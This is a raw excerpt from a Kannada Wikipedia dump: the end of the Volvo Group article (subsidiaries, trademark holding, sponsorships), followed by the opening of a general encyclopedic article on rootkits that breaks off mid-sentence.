ವ್ಯವಹಾರಗಳನ್ನು ಅಭಿವೃದ್ಧಿಪಡಿಸುವುದು ಮತ್ತು ಅವುಗಳನ್ನು ಬೆಂಬಲಿಸುವುದು) * [[ವೋಲ್ವೋ ವ್ಯಾಪಾರ ಸೇವೆಗಳು]] (ವೋಲ್ವೋ ಗ್ರೂಪ್‌ನ ಕಂಪನಿಗಳ ಆರ್ಥಿಕ ಆಡಳಿತಕ್ಕೆ ಕಡಿಮೆ ಖರ್ಚಿನ ಮತ್ತು ಉತೃಕ್ಷ್ಟ ಗುಣಮಟ್ಟದ ಸೇವೆಗಳನ್ನು ನಿರ್ವಹಿಸುವುದು) * [[ವೋಲ್ವೋ ಖಜಾನೆ]] (ವೋಲ್ವೋದ ಹಣಕಾಸು ನಿರ್ವಹಣೆ) * ವೋಲ್ವೋ ಈವೆಂಟ್‌ ನಿರ್ವಹಣೆ, ಇದು [[ವೋಲ್ವೋ ಓಷನ್‌ ರೇಸ್‌]] ಸೇರಿದಂತೆ ಪ್ರಾಯೋಜಿತ ಚಟುವಟಿಕೆಗಳನ್ನು ಸಮನ್ವಯ ಮಾಡುತ್ತದೆ. ಮುಂಚೆ ವೋಲ್ವೋ ಗ್ರೂಪ್‌ ಈ ವ್ಯಾಪಾರಗಳ [[ಉಪಸಂಸ್ಥೆಗಳನ್ನೂ]] ಹೊಂದಿದ್ದವು: * [[ವೋಲ್ವೋ ಲೀಷರ್‌]] (ಲೀಷರ್‌ ಗ್ರೂಪ್‌) (ಪ್ರಮುಖವಾಗಿ ಜೋಫಾ ಆಟಗಳು ಮತ್ತು ರೈಡ್ಸ್‌ ದೋಣಿಗಳು) * [[ಪ್ರೊವೆಂಡರ್‌]] (ಆಹಾರ ಮತ್ತು ಪಾನೀಯಗಳ ಗ್ರೂಪ್‌) * [[ವೋಲ್ವೋ ಎನರ್ಜಿ]] (ಎನರ್ಜಿ ಗ್ರೂಪ್‌) (ಪ್ರಮುಖವಾಗಿ ಎಸ್‌‍ಟಿಸಿ (STC) ಸ್ಕ್ಯಾಂಡಿನೇವಿಯನ್‌ ಟ್ರೇಡಿಂಗ್‌ ಕಂಪನಿ) * [[ವಿಲ್ಹ್‌.]] [[ಸೊನೆಸ್ಸನ್‌]] (ಇಂಜಿನಿಯರಿಂಗ್‌ ಗ್ರೂಪ್‌) 1981ರಿಂದ 1997ರವರೆಗೆ ವೋಲ್ವೋ ಗ್ರೂಪ್‌ ಅನೇಕ [[ಸಹಕಾರಿ ಕಂಪನಿಗಳ]]ನ್ನು ಒಳಗೊಂಡಿತ್ತು, ಅವು ತಾವೇ ಕಾರ್ಪೋರೇಟ್‌ ಗ್ರೂಪ್‌ಗಳಾಗಿದ್ದವು: * [[ಕೆಬೋ]] ಎಬಿ (ಫಾರ್ಮಾಕ್ಯುಟಿಕಲ್‌ ಗ್ರೂಪ್‌) * [[ಸ್ವೇಡಾಕೆಮಿ]] ಎಬಿ (ಕೆಮಿಕಲ್‌ ಗ್ರೂಪ್‌) * ಎಬಿ [[ವ್ಹಿಲ್‌.]] [[ಬೆಕೆರ್‌]] (ಪೇಂಟ್‌ ಗ್ರೂಪ್‌) * ಎಬಿ ಲಿಯೋ (ಫಾರ್ಮಾಕ್ಯುಟಿಕಲ್‌ ಗ್ರೂಪ್‌) * ಎಬಿ [[ಗ್ಯಾಂಬ್ರೋ]] (ವೈದ್ಯಕೀಯ ಡಯಾಲೈಸಿಸ್ ಗ್ರೂಪ್‌) * ಎಬಿ [[ನಿಲ್ಸ್‌ ಡೇಕ್‌]] (ಇಂಜಿನಿಯರಿಂಗ್‌ ಗ್ರೂಪ್‌) * [[ಪ್ರೊಕೊರ್ಡಿಯ]] ಎಬಿ (ಆಹಾರ ಮತ್ತು ಪಾನೀಯಗಳ ಗ್ರೂಪ್‌) * [[ಬಿಸಿಪಿ (BCP) ಬ್ರ್ಯಾಂಡೆಡ್‌ ಕನ್ಸ್ಯೂಮರ್‌ ಪ್ರಾಡಕ್ಟ್ಸ್‌]] ಎಬಿ (ಆಹಾರ ಮತ್ತು ಪಾನೀಯಗಳ ಗ್ರೂಪ್‌) * [[ಫಾರ್ಮೇಸಿಯಾ]] ಎಬಿ (ಫಾರ್ಮ್ಯಾಕ್ಯುಟಿಕಲ್‌ ಗ್ರೂಪ್‌) * [[ಆಲ್‌ಫ್ರೆಡ್‌ ಬರ್ಗ್‌]] ಹೋಲ್ಡಿಂಗ್‌ ಎಬಿ (ಹಣಕಾಸು ಸೇವೆಗಳ ಗ್ರೂಪ್‌) * [[ಫಾಲ್ಕನ್‌]] ಹೋಲ್ಡಿಂಗ್‌ ಎಬಿ (ಬ್ರ್ಯೂಯಿಂಗ್‌ ಗ್ರೂಪ್‌) *[[ಸ್ವೀಡಿಶ್‌ ಮ್ಯಾಚ್‌]] ಎಬಿ (ಬೆಂಕಿಪೊಟ್ಟಣ ಮತ್ತು ಲ್ಟ್ಟೈಟರ್ಸ್‌ ಗ್ರೂಪ್‌) == ಟ್ರೇಡ್‌ಮಾರ್ಕ್‌ == [[ಚಿತ್ರ:Volvo logo on the grill.jpg|alt=ವೊಲ್ವೊ ಲೊಗೊ|thumb|264x264px|ವೋಲ್ವೋ ಟ್ರೇಡ್‌ಮಾರ್ಕ್]] ವೋಲ್ವೋ ಟ್ರೇಡ್‌ಮಾರ್ಕ್ ಹೋಲ್ಡಿಂಗ್ ಎಬಿಯ ಮಾಲೀಕತ್ವವನ್ನು ಸಮಾನವಾಗಿ ಎಬಿ ವೋಲ್ವೋ ಮತ್ತು ವೋಲ್ವೋ ಕಾರ್ ಕಾರ್ಪೋರೇಶನ್ ಹಂಚಿಕೊಂಡಿವೆ.<ref>{{Cite web |url=http://www3.volvo.com/investors/finrep/eng/html/thevolvobrandname/ingress.html |title=ವೋಲ್ವೋ ವಾರ್ಷಿಕ ವರದಿ 1999 |access-date=2010-07-08 |archive-date=2012-03-16 |archive-url=https://web.archive.org/web/20120316204702/http://www3.volvo.com/investors/finrep/eng/html/thevolvobrandname/ingress.html |url-status=dead }}</ref> ಕಂಪನಿಯ ಪ್ರಮುಖ ಚಟುವಟಿಕೆ ಎಂದರೆ ವೋಲ್ವೋ ಟ್ರೇಡ್‌ಮಾರ್ಕ್‌ಗಳನ್ನು (''ವೋಲ್ವೋ'' , ವೋಲ್ವೋ ಪರಿಕರ ಗುರುತುಗಳು (ಗ್ರಿಲ್‌ ತುಂಡು ಮತ್ತು ಕಬ್ಬಿಣದ ಗುರುತು) ''[[ವೋಲ್ವೋ ಕ್ಷೇತ್ರ]]'' ಮತ್ತು ''[[ವೋಲ್ವೋ ಪೆಂಟಾ]]'' ) ಅವುಗಳ ಮಾಲೀಕರ ಪರವಾಗಿ ಖರೀದಿಸುವುದು, ದುರಸ್ತಿ ಮಾಡುವುದು, ಸಂರಕ್ಷಿಸುವುದು ಮತ್ತು ಜೋಪಾನಮಾಡುವುದು ಮತ್ತು ಆ ಹಕ್ಕುಗಳ ಪರವಾನಗಿಯನ್ನು ಮಾಲೀಕರಿಗೆ ಒದಗಿಸುವುದು. ದಿನನಿತ್ಯದ ಕಾರ್ಯಗಳನ್ನು ಟ್ರೇಡ್‌ಮಾರ್ಕ್‌ ನೋಂದಾವಣೆಗಳ ವಿಶ್ವ ಖಾತೆಯ ಮೇಲೆ ಕೇಂದ್ರೀಕರಿಸಲಾಗುತ್ತದೆ ಮತ್ತು ವೋಲ್ವೋ ಟ್ರೇಡ್‌ಮಾರ್ಕ್‌ಗಳ ನೋಂದಾವಣೆ ರಕ್ಷಣೆಯನ್ನು ಸಾಕಷ್ಟು ವಿಸ್ತರಿಸುವುದು. ಅಕ್ರಮ ನೋಂದಾವಣೆಯ ವಿರುದ್ಧ ಮತ್ತು (ನಕಲು ಮಾಡುವುದೂ ಒಳಗೊಂಡಂತೆ) ವೋಲ್ವೋನ ಅಥವಾ ವೋಲ್ವೋ ಟ್ರೇಡ್‌ಮಾರ್ಕ್‌ಅನ್ನು ಹೋಲುವ ಟ್ರೇಡ್‌ಮಾರ್ಕ್‌ಗಳನ್ನು ಬಳಸುವುದರ ವಿರುದ್ಧ ವಿಶ್ವದಾದ್ಯಂತ ಕ್ರಮ ಕೈಗೊಳ್ಳುವುದು ಕೂಡ ಒಂದು ಪ್ರಮುಖ ವ್ಯವಹಾರ.<ref>{{Cite web |url=http://www3.volvo.com/investors/finrep/eng/index.html |title=ವೋಲ್ವೋ ಬ್ರ್ಯಾಂಡ್ ಹೆಸರು, ವೋಲ್ವೋ ವಾರ್ಷಿಕ ವರದಿ 1999 |access-date=2010-07-08 |archive-date=2011-07-17 |archive-url=https://web.archive.org/web/20110717231302/http://www3.volvo.com/investors/finrep/eng/index.html |url-status=dead }}</ref> == ವೋಲ್ವೋ ಬ್ರ್ಯಾಂಡ್‌ == ಬ್ರ್ಯಾಂಡ್‌ನ<ref>{{Cite web |url=http://www.volvo.com/group/global/en-gb/volvo+group/our_brand/ |title=ವೋಲ್ವೋ ಬ್ರ್ಯಾಂಡ್ |access-date=2010-07-08 |archive-date=2008-08-04 |archive-url=https://web.archive.org/web/20080804152939/http://www.volvo.com/group/global/en-gb/volvo%2Bgroup/our_brand/ |url-status=dead }}</ref> ಅಭಿವೃದ್ಧಿ ತಂತ್ರಗಳು ಹಿಂದೆ ''ವಿಟ್‌ಬ್ರೆಡ್‌ ಅರೌಂಡ್‌ ದ ವರ್ಲ್ಡ್‌'' ಎಂದು ಪ್ರಸಿದ್ಧವಾಗಿದ್ದ sailing race [[ವೋಲ್ವೋ ಓಷನ್‌ ರೇಸ್‌]][http://www.volvooceanrace.com ] ಅನ್ನು ಒಳಗೊಂಡಿದೆ. [[ವೋಲ್ವೋ ಮಾಸ್ಟರ್ಸ್‌]] ಮತ್ತು [[ವೋಲ್ವೋ ಚೈನಾ ಓಪನ್‌]] ಮೊದಲಾದ ಪ್ರಮುಖ ಚ್ಯಾಂಪಿಯನ್‌ಶಿಪ್‌ಗಳನ್ನೊಳಗೊಂಡಂತೆ ಪ್ರಪಂಚದಾದ್ಯಂತ ಗಾಲ್ಫ್‌ ಟೂರ್ನಮೆಂಟ್‌ಗಳನ್ನು ಪ್ರಾಯೋಜಿಸುವ ಮೂಲಕ ತನ್ನ ಶ್ರೀಮಂತ ಚಿತ್ರಣವನ್ನು ತೋರಿಸಿಕೊಳ್ಳಲು ಬಯಸುತ್ತದೆ. [[ಚಿತ್ರ:BMTC-342F-Volvo-UD-Sarjapura.JPG|alt=ವೊಲ್ವೊ ಯುಡಿ ಬಸ್ - ಬೆಂಗಳೂರು ನಗರ ಸಾರಿಗೆ ಬಸ್(ಬೆಂಮಸಾಸಂ)|thumb|284x284px|ವೊಲ್ವೊ ಯುಡಿ ಬಸ್ - ಬೆಂಗಳೂರು ನಗರ ಸಾರಿಗೆ ಬಸ್]] 2001–2002ರಲ್ಲಿ ವಿಶ್ವದ ಪ್ರಮುಖ ದೋಣಿ ಪಂದ್ಯ [[ವೋಲ್ವೋ ಓಷನ್‌ ರೇಸ್‌]]ವನ್ನು ಮೊಟ್ಟಮೊದಲ ಬಾರಿಗೆ ಪ್ರಾಯೋಜಿಸಿತು. ವೋಲ್ವೋ [[ಐಎಸ್‌ಎಎಫ್‌]]ಗೆ ದೀರ್ಘಕಾಲದ ಬದ್ಧತೆ ಸಹಾ ಇತ್ತು ಮತ್ತು 1997ರಿಂದಲೂ ವೋಲ್ವೋ/ಐಎಸ್‌ಎಫ್‌ ವಿಶ್ವ ಯುವ ದೋಣಿ ಚ್ಯಾಂಪಿಯನ್‌ಶಿಪ್‌ನಲ್ಲಿ ಕೂಡ ಪಾಲ್ಗೊಳ್ಳುತ್ತಿದ್ದಾರೆ. ಬೇಸಿಗೆಯ ಸಮಯದಲ್ಲಿ ಈಸ್ಟ್‌ಹ್ಯಾಂಪ್‌ಟನ್‌ ನಗರದಲ್ಲಿ ವೊಲ್ವೊ ಅನೇಕ ಪೋಲೊ ಪಂದ್ಯಗಳನ್ನು ಪ್ರಾಯೋಜಿಸುತ್ತದೆ. ಸೌದಿ-ಅರೇಬಿಯಾದ ರಾಜನು ತನ್ನ ಅತ್ಯುತ್ತಮ ಕುದುರೆಗಳೊಂದಿಗೆ ಈ ಪಂದ್ಯಗಳಲ್ಲಿ ಪಾಲ್ಗೊಳ್ಳುತ್ತಾನೆ. [[ಷೋ ಜಂಪಿಂಗ್‌ ವಿಶ್ವ ಕಪ್‌]] ಪಂದ್ಯವು 1979ರಲ್ಲಿ ಪ್ರಾರಂಭವಾದಾಗಿನಿಂದ 1999ರವರೆಗೆ ವೋಲ್ವೋ ಗ್ರೂಪ್‌ ಆ ಪಂದ್ಯಗಳನ್ನು ಪ್ರಾಯೋಜಿಸಿತು. ಕಂಪನಿಯು ಸಂಸ್ಕೃತಿಯನ್ನು ಕೂಡ ಪ್ರಾಯೋಜಿಸುತ್ತದೆ, ಉದಾಹರಣೆಗೆ ಗೋಟೆನ್ಬರ್ಗ್ ಒಪೆರಾ<ref>{{cite web|url=http://www.opera.se |title=GöteborgsOperan |publisher=Opera.se |date=2009-06-02 |accessdate=2009-06-12}}</ref> ಮತ್ತು [[ಗೊಠೆನ್‌ಬರ್ಗ್‌ ಸಿಂಫೋನಿ ಆರ್ಕೆಸ್ಟ್ರಾ]].<ref>{{cite web|url=http://www.gso.se |title=Göteborgs Symfoniker |language={{Sv icon}} |publisher=Gso.se |date= |accessdate=2009-06-12}}</ref><ref>{{cite web |url=http://www.volvo.com/group/global/en-gb/volvo+group/sponsorships/ |title=Sponsorships : Volvo Group - Global |publisher=Volvo.com |date= |accessdate=2009-06-12 |archive-date=2008-07-23 |archive-url=https://web.archive.org/web/20080723230717/http://www.volvo.com/group/global/en-gb/volvo%2Bgroup/sponsorships/ |url-status=dead }}</ref><ref>{{Cite web |url=http://www.volvo.com/group/global/en-gb/volvo+group/sponsorships/ |title=ವೋಲ್ವೋ ಪ್ರಾಯೋಜಕತ್ವಗಳು |access-date=2010-07-08 |archive-date=2008-07-23 |archive-url=https://web.archive.org/web/20080723230717/http://www.volvo.com/group/global/en-gb/volvo%2Bgroup/sponsorships/ |url-status=dead }}</ref> == ಇದನ್ನೂ ನೋಡಿ == * [[ವೋಲ್ವೋ ಕಾರುಗಳು]] * [[ಐನಾಕ್ಸ್‌]] - ವೋಲ್ವೋ ವಶಪಡಿಸಿಕೊಂಡುರುವ ಸೇನಿಯಾ ಒಡೆತನದ ಷೇರುಗಳು == ಉಲ್ಲೇಖ == {{Reflist}} == ಬಾಹ್ಯ ಕೊಂಡಿಗಳು == {{Portal|Companies}} * {{official|http://www.volvogroup.com}} * [http://www.volvo.com ವೋಲ್ವೋ.com - ಬ್ರಾಂಡ್‌ ಕಂಪನಿಗಳ-ವೋಲ್ವೋದ ಅಧೀಕೃತ ಜಾಲತಾಣ] {{OMX Stockholm 30 companies}} [[ವರ್ಗ:1927ರಲ್ಲಿ ಕಂಪನಿ ಸ್ಥಾಪನೆಯಾಯಿತು]] [[ವರ್ಗ:ಸ್ವೀಡನ್ ಕಂಪನಿಗಳು]] [[ವರ್ಗ:ಮೋಟರ್ ವಾಹನಗಳ ಬ್ಯಾಟರಿ ತಯಾರಕರು]] [[ವರ್ಗ:ವೋಲ್ವೋ]] [[ವರ್ಗ:ಕಾರು ಉತ್ಪಾದಕರು]] [[ವರ್ಗ:ಲಂಡನ್ ಸ್ಟಾಕ್ ಎಕ್ಸ್‌ಚೇಂಚ್‌ನಲ್ಲಿ ಮೊದಲು ಲೀಸ್ಟ್‌ ಆದ ಕಂಪನಿಗಳು]] [[ವರ್ಗ:ಸ್ವೀಡನ್‌ನ ಮೋಟರ್ ವಾಹನಗಳ ಉತ್ಪಾದಕರು]] [[ವರ್ಗ:ವಾಣಿಜ್ಯ ಬಳಕೆಯ ವಾಹನಗಳು]] [[ವರ್ಗ:ಸ್ವೀಡೀಶ್ ಬ್ರ್ಯಾಂಡ್‌ಗಳು]] [[ವರ್ಗ:ನಾಸ್ಡಾಕ್‌ನಲ್ಲಿ ಮೊದಲು ಲೀಸ್ಟ್ ಆದ ಕಂಪನಿಗಳು]] [[ವರ್ಗ:ಉದ್ಯಮ]] [[ವರ್ಗ:ವಾಹನ ಕಂಪನಿಗಳು]] ruptxnv7k4tiohgoxrdyfjhrsv13nio ರೂಟ್‌ಕಿಟ್ 0 24205 1116419 1084019 2022-08-23T12:13:19Z InternetArchiveBot 69876 Rescuing 1 sources and tagging 0 as dead.) #IABot (v2.0.9 wikitext text/x-wiki {{Copyedit|date=May 2009}} '''ರೂಟ್‌ಕಿಟ್''' ಎಂಬುದು ಒಂದು [[ಸಾಫ್ಟ್‌ವೇರ್]] [[ಪ್ರೋಗ್ರಾಮ್]] ಅಥವಾ ಅನೇಕ ಪ್ರೋಗ್ರಾಮ್‌ಗಳ ಸಂಘಟಿತ ಸಮೂಹವಾಗಿದ್ದು, ಅದನ್ನು ಒಂದು ಕಂಪ್ಯೂಟರ್ ಸಿಸ್ಟಮ್ ಅಥವಾ ಕಂಪ್ಯೂಟಿಂಗ್ ವ್ಯವಸ್ಥೆಗಳ ಒಂದು ವ್ಯವಸ್ಥೆಯನ್ನು ಗುಟ್ಟಾಗಿ ನಿಯಂತ್ರಣ ಮಾಡಲು ರೂಪಿಸಲಾಗಿರುತ್ತದೆ. ವಾಸ್ತವವಾಗಿ ಎಲ್ಲ ಪ್ರಕರಣಗಳಲ್ಲಿ, ಇದರ ಕೆಲಸ ಮತ್ತು ಉದ್ದೇಶವು ಯಾವುದೇ ಒಂದು ಹೋಸ್ಟ್ ಕಂಪ್ಯೂಟಿಂಗ್ ವ್ಯವಸ್ಥೆಯು ಹಾನಿಕಾರಕವಾಗುವಂತೆ ಮಾಡುವುದಾಗಿದೆ. ''ರೂಟ್‌ಕಿಟ್‌'' ಎಂಬ ಸಂಯುಕ್ತ ಪದವನ್ನು ಐತಿಹಾಸಿಕ ಆಪರೇಟಿಂಗ್ ಸಿಸ್ಟಮ್ ಪರಿಭಾಷೆಯಿಂದ ಆಡಳಿತಾತ್ಮಕ ([[ಸೂಪರ್‌ಯೂಸರ್]]) ಖಾತೆ (ಅಥವಾ "ರೂಟ್" ಖಾತೆ) ದಿಂದ ಪಡೆಯಲಾಗಿದೆ - ಅದು ಮೂಲತಃ [[ಯುನಿಕ್ಸ್]] ಮತ್ತು ಅದರ ಇತರ ಸಂಕರಗೊಳಿಸಿದ ರೂಪಗಳಲ್ಲಿ (ವಿಶೇಷವಾಗಿ [[ಲಿನಕ್ಸ್]] ವಿಶಿಷ್ಟ ಗುಣಗಳಿರುವವು). ಅದರ ''ಕಿಟ್'' ಅಂತ್ಯಪ್ರತ್ಯಯವು ಒಂದು ಏಕೈಕ ಪ್ರೋಗ್ರಾಮ್ ಯಾಂತ್ರಿಕ ವ್ಯವಸ್ಥೆಗಳು ಅಥವಾ ಒಂದು ಪೂರ್ವನಿರ್ಧಾರಿತ (ಎನ್‌ಕೋಡ್ ಮಾಡಲಾದ) ನಿರ್ದಿಷ್ಟ ಕಾರ್ಯ ಸಮೂಹಗಳನ್ನು ಮಾಡಲು ಹೊಂದಿಸಿದ ಒಂದು ಸಮೂಹ ಆಂತರಿಕ ಕಾರ್ಯನಿರ್ವಾಹಕ ಅಥವಾ ಪರಸ್ಪರ ಪ್ರತಿಕ್ರಿಯಾತ್ಮಕ ಯಾಂತ್ರಿಕ ವ್ಯವಸ್ಥೆಗಳನ್ನು ಸೂಚಿಸುತ್ತದೆ. ಅಂದರೆ, ಕಿಟ್‌ನ ಒಂದು ಭಾಗವು ಗುರಿಗೆ/ಹೋಸ್ಟ್ ಕಂಪ್ಯೂಟರ್ ವ್ಯವಸ್ಥೆಗೆ ''ಹೋಗುವ'' ಕೆಲಸವನ್ನು ಪ್ರಾರಂಭಿಸಬಹುದು, ಮತ್ತು ಅದೇ ಸಮಯದಲ್ಲಿ ಇನ್ನೊಂದು ಭಾಗವು ಮುಂದಿನ ಹಂತಕ್ಕಾಗಿ ಇದೇ ಪ್ರಕ್ರಿಯೆಯನ್ನು ಬದಲಾಯಿಸುವ ಕೆಲಸ ಮಾಡುತ್ತದೆ, ಮತ್ತು ಪ್ರವೇಶ ಪಡೆಯಲು ಇದು ಅತ್ಯಂತ ಸರಳೀಕೃತವಾದ ಹಾದಿಯಾಗಿದೆ (ಮತ್ತು ಹೆಚ್ಚಾಗಿ ಕಳ್ಳತನದಿಂದ). == ಸ್ಥೂಲ ಅವಲೋಕನ == ಒಂದು ರೂಟ್‌ಕಿಟ್‌ಗೆ ಒಂದು ಆಪರೇಟಿಂಗ್ ಸಿಸ್ಟಮ್‌ನ ಸಿಸ್ಟಮ್‌ ಈವೆಂಟ್ ಲಾಗಿಂಗ್ ಸಾಮರ್ಥ್ಯವನ್ನು ([[ಈವೆಂಟ್ ವೀವರ್]] ಅಡಿಯಲ್ಲಿ) ಅಳಿಸಿಹಾಕುವ ಕೆಲಸ ಮಾಡುವುದು ಅತ್ಯಂತ ಸಾಮಾನ್ಯವಾಗಿದ್ದು, (ವಿಶೇಷವಾಗಿ ಮೈಕ್ರೋಸಾಫ್ಟ್‌ ವಿಂಡೋಸ್‌-ಆಧಾರಿತ ಕಂಪ್ಯೂಟಿಂಗ್ ವ್ಯವಸ್ಥೆಗಳು), ಈ ಮೂಲಕ ಪ್ರಮಾದ ಮಾಡುವ ದಾಳಿಯ [[ವೆಕ್ಟರ್]]‌ನ ಕುರಿತು, ಅದು ಸಫಲವಾಗಲಿ ಇಲ್ಲ ವಿಫಲವಾಗಲಿ, ಯಾವುದೇ ಸಾಕ್ಷಿಯಿಲ್ಲದಂತೆ ಮಾಡುವುದು ಅದರ ಉದ್ದೇಶವಾಗಿರುತ್ತದೆ. ರೂಟ್‌ಕಿಟ್‌ನ ವರ್ತನೆ ಬೇರೆ ಬೇರೆ ರೀತಿಯಲ್ಲಿರುತ್ತಿದ್ದು, ಎಲ್ಲವೂ ಒಂದೇ ರೀತಿಯ ಅಥವಾ ಸಮಾನವಾದ ಕಾರ್ಯವನ್ನು ಮಾಡುವುದಿಲ್ಲ. ಕೆಲವು ರೂಟ್‌ಕಿಟ್‌ ಪ್ರೋಗ್ರಾಮ್‌ಗಳು ಸ್ವತಃ ದೋಷದಿಂದ ಕೂಡಿರುತ್ತಿದ್ದು, ತಾವು ಮಾಡುವ ಕಾರ್ಯದ ದಾಖಲೆಗಳನ್ನು ಸಂಪೂರ್ಣವಾಗಿ ಅಳಿಸಲು ವಿಫಲವಾಗುತ್ತವೆ. ಕೆಲವೊಮ್ಮೆ ಸ್ವತಃ ಸಂಶೋಧಕರೇ ತಮ್ಮ ಸಿಸ್ಟಮ್‌ಗಳು ಸಂಭಾವ್ಯ ದಾಳಿಯನ್ನು ತಡೆಯಲು ಎಷ್ಟು ಸಮರ್ಥವಾಗಿವೆ ಎಂಬುದನ್ನು ಕಂಡುಕೊಳ್ಳಲು ರೂಟ್‌ಕಿಟ್‌ ಅನ್ನು ರೂಪಿಸಿ ಅಭಿವೃದ್ಧಿಪಡಿಸುತ್ತಾರೆ. ಆದರೂ, ಕೆಲವು ಸಫಲ ಬದಲಾವಣೆಗಳು ನುಗ್ಗಿ ಸೂಕ್ಷ್ಮ ದತ್ತಾಂಶಗಳನ್ನು ಸಾಗಿಸುವ ಸಾಮರ್ಥ್ಯವನ್ನು ಹೊಂದಿರುತ್ತವೆ, ಉದಾಹರಣೆಗೆ [[PIN|PINಗಳು]], ಖಾತೆ ಪಾಸ್‌ವರ್ಡ್‌ಗಳು, ಕ್ರೆಡಿಟ್ ಕಾರ್ಡ್ ವಿವರಗಳು, ಇತ್ಯಾದಿ. ಒಂದು ಅತ್ಯಂತ ತೊಡಕಿನ ಸಂಗತಿಯೆಂದರೆ ಒಂದು ಅತ್ಯಂತ ಸರಿಯಾಗಿ ಮಾಡಿದ ರೂಟ್‌ಕಿಟ್‌ ಆಪರೇಟಿಂಗ್ ಸಿಸ್ಟಮ್‌ ಸಾಫ್ಟ್‌ವೇರ್‌ನ ಅತ್ಯಂತ ಪ್ರಮುಖ ಭಾಗಗಳನ್ನು ಅಳಿಸಿ ಅದರ ಬದಲಾಗಿ ಕಾರ್ಯನಿರ್ವಹಿಸಬಹುದು, ಮತ್ತು ನಂತರದಲ್ಲಿ ದಾಳಿ ಮಾಡುವವರು ಸ್ಥಾಪಿಸಬಯಸುವ ಫೈಲುಗಳನ್ನು ಮತ್ತು ಅದರ ಪ್ರಕ್ರಿಯೆಯನ್ನು ಅಡಗಿಸಲು ಸಹಾ ಬಳಸಬಹುದಾಗಿದೆ. ಹೋಸ್ಟ್ ಸಿಸ್ಟಮ್‌ನ ಹಾರ್ಡ್‌ವೇರ್ ಸೆಟ್ಟಿಂಗ್‌ಗಳಿಗೆ ([[BIOS]]), ಉದಾಹರಣೆಗೆ ರಿಸೆಟ್ ಸ್ವಿಚ್‌ಗೆ, ಪ್ರವೇಶ ಹೊಂದುವ ಅಗತ್ಯವೇನೂ ಇರುವುದಿಲ್ಲ, ಏಕೆಂದರೆ ರೂಟ್‌ಕಿಟ್‌ ಅನ್ನು ಅತ್ಯಂತ ಸಾಮಾನ್ಯವಾಗಿ ಆಪರೇಟಿಂಗ್ ಸಿಸ್ಟಮ್‌ನ [[ಕೆರ್ನಲ್]]-ಮಟ್ಟದಲ್ಲಿರುವ ಒಂದು ಸುಲಭ ಬೇಧ್ಯತೆಯನ್ನು ಬಳಸಿಕೊಂಡು ಆಪರೇಟಿಂಗ್ ಸಿಸ್ಟಮ್‌‌ನ ನಿಯಂತ್ರಣವನ್ನು ನಿಲ್ಲಿಸುವ ಕೆಲಸ ಮಾಡುವಂತೆ ರೂಪಿಸಲಾಗಿರುತ್ತದೆ. ಮುಂದುವರೆದು, ರೂಟ್‌ಕಿಟ್‌ಗಳು ಆಪರೇಟಿಂಗ್ ಸಿಸ್ಟಮ್‌ನ ಭಾಗಗಳನ್ನು ಪರಿವರ್ತಿಸಬಹುದು ಅಥವಾ ಆಪರೇಟಿಂಗ್ ಸಿಸ್ಟಮ್‌‌ನ ಮೆಕ್ಯಾನಿಸಂ‌ನ ಆಂತರಿಕ ವಿವರಗಳ ಮೇಲೆ ಆಧಾರಿತವಾಗಿ ತಾವೇ [[ಡ್ರೈವರ್‌ಗಳು]] ಅಥವಾ [[ಕೆರ್ನಲ್ ಮಾಡ್ಯೂಲ್‌|ಕೆರ್ನಲ್ ಮಾಡ್ಯೂಲ್‌ಗಳಂತಹ]] ಸಿಸ್ಟಮ್ ಭಾಗಗಳಾಗಿ ಸ್ಥಾಪಿತಗೊಳ್ಳಬಹುದು. ಒಂದು ಗುರಿಮಾಡಿದ ವ್ಯವಸ್ಥೆಯನ್ನು ಅದರ ಹಾರ್ಡ್‌ವೇರ್‌ಗೆ ಭೌತಿಕವಾಗಿ ಪ್ರವೇಶ ಪಡೆದು ಹಾಳುಮಾಡುವುದನ್ನು ವಿಶೇಷವಾಗಿ ಇನ್ನೊಂದು ರೀತಿಯ ದಾಳಿ ಎಂಬುದಾಗಿ ವಿಭಾಗಿಸಲಾಗಿದೆ, ಆದರೂ ಗಮನಿಸಬೇಕಾದ ಸಂಗತಿಯೆಂದರೆ ಅದರಲ್ಲಿ ಬಳಸಿದ ಕೆಲವು ತಂತ್ರಗಳನ್ನು ರೂಟ್‌ಕಿಟ್‌ನ ವಿನ್ಯಾಸ ಮತ್ತು ನಿಯೋಜನೆ ತಂತ್ರದಲ್ಲಿಯೂ ಇಡಲಾಗಿರುತ್ತದೆ. ವಿಶಿಷ್ಟವಾಗಿ, ಒಂದು ರೂಟ್‌ಕಿಟ್‌ ಪ್ರಮಾಣಿತ ಆಪರೇಟಿಂಗ್ ಸಿಸ್ಟಮ್‌ನ [[ಭದ್ರತೆ]] ಸ್ಕ್ಯಾನಿಂಗ್ ಮತ್ತು ನಿಗಾ ಇಡುವ ವ್ಯವಸ್ಥೆಗಳನ್ನು ನಾಶಪಡಿಸುವ ಮೂಲಕ ಅಥವಾ ನುಣುಚಿಕೊಳ್ಳುವ ಮೂಲಕ ಒಂದು ಹೋಸ್ಟ್ ಸಿಸ್ಟಮ್‌ನ ಒಳಗೆ ತನ್ನ ಇರುವಿಕೆಯನ್ನು ಮಸುಕುಗೊಳಿಸುವ ಕೆಲಸವನ್ನು ಮಾಡುತ್ತದೆ. ಹೆಚ್ಚಾಗಿ, ಆದರೆ ಅಗತ್ಯವೆಂದೇನಿಲ್ಲ, ಒಂದು ರೂಟ್‌ಕಿಟ್‌ [[ಟ್ರೋಜನ್]] ಆಗಿ ದುಪ್ಪಟ್ಟು ವರ್ಧಿತಗೊಳ್ಳಬಹುದು ಕೂಡಾ. ಆದರೆ ಇದು ಕಂಪ್ಯೂಟರ್ ಬಳಕೆದಾರನಿಗೆ ರೂಟ್‌ಕಿಟ್‌ ಅಮಾರಕವಾದದ್ದು ಎಂದು ನಂಬಿಸುವುದರ ಮೇಲೆ ಅವಲಂಬಿತವಾಗಿರುತ್ತದೆ: ಅಂದರೆ ಅದನ್ನು ತಮ್ಮ ಕಂಪ್ಯೂಟರಿನಲ್ಲಿ ಯಾವುದೇ ಆತಂಕವಿಲ್ಲದೇ ಸ್ಥಾಪಿಸಬಹುದಾದದ್ದು ಎಂದು ನಂಬಿಸುವುದು. ಇದನ್ನು ಸಾಧಿಸಲು ಬಳಸುವ ತಂತ್ರಗಳು ಸಿಸ್ಟಮ್ ಮಾನಿಟರಿಂಗ್ ಮೆಕ್ಯಾನಿಸಮ್‌ಗಳಿಂದ ನಡೆಯುತ್ತಿರುವ ಪ್ರಕ್ರಿಯೆಗಳನ್ನು ಅಡಗಿಸುವುದರಿಂದ ಹಿಡಿದು 